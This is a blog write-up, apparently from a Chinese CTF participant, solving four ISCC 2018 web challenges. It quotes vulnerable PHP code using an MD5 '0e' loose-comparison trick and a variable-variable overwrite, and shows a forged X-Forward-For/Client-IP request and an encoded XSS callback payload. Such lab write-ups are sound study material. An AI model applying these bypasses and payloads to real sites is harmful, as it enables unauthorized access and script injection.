

ISCC 2018 web writeup

原创

linhf 于 2018-05-20 17:59:42 发布 1576 收藏

分类专栏: [网络安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_40658927/article/details/80383010

版权



[网络安全](#) 专栏收录该内容

5 篇文章 0 订阅

订阅专栏

1.php是世界上最好的语言

看源码, 我们可以看到MD5的0e漏洞, 即0后面的数字都不识辨, 值默认为0

```
<?php
header("content-type:text/html;charset=utf-8");
if(isset($_POST['username'])&isset($_POST['password'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
}
else{
    $username="hello";
    $password="hello";
}
if(md5($password) == 0){
    echo "xxxxx";
}
show_source(__FILE__);
?>
```

用户名随便, 密码使用0e开头的MD5值:

```
s878926199a
```

这里提供一个网站, 里面归纳了一些0e开头的MD5值 <http://www.219.me/posts/2884.html>

之后需要将a的值变为Globals,使其变为全局变量, flag便出现了

2.web02

要求我们用本地IP访问。抓包, 改请求头

Raw	Params	Headers	Hex
GET / HTTP/1.1			
Host: 118.190.152.202:8004			
Cache-Control: max-age=0			
Upgrade-Insecure-Requests: 1			
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Ch			
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8			
Referer: http://iscc2018.isclab.org.cn:4000/challenges			
Accept-Encoding: gzip, deflate			
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8			
Cookie: verify=78cfc57d983b4a17e55828c001a3e781; len=46			
Connection: close			
X-Forward-For:127.0.0.1			
Client-IP:127.0.0.1			

注意：大小写一定要区分

3.你能跨过去吗？

将url进行解码，然后删除必要的符号，进行base64解码

http://www.test.com/NodeMore.jsp?

id=672613&page=2&pageCounter=32&undefined&callback=%2b/v%2b%20%2bADwAcwBjAHIaAQbwAHQAPgBhAGwAZQByAHQAKAAiAGsAZQB5A
&_=1302746925413



<<script>alert("key:%nsfocusXSStest%")</script>

输入key，flag就出来了

4.一切都是套路

我们需要输入 http://118.190.152.202:8009/index.php.txt 才能看到代码

```
<?php
```

```
include "flag.php";
```

```
if ($_SERVER["REQUEST_METHOD"] != "POST")  
die("flag is here");
```

```
if (!isset($_POST["flag"])) )  
die($_403);
```

```
foreach ($_GET as $k => $v){  
  $$k = $$v;  
}
```

```
foreach ($_POST as $k => $v){  
  $$k = $v;  
}
```

```
if ( $_POST["flag"] !== $flag )  
die($_403);
```

```
echo "flag: ". $flag . "\n";  
die($_200);
```

```
?>
```

这里需要post也需要get,直接post是不行的

```
flag: ISCC{taolu2333333....}
```

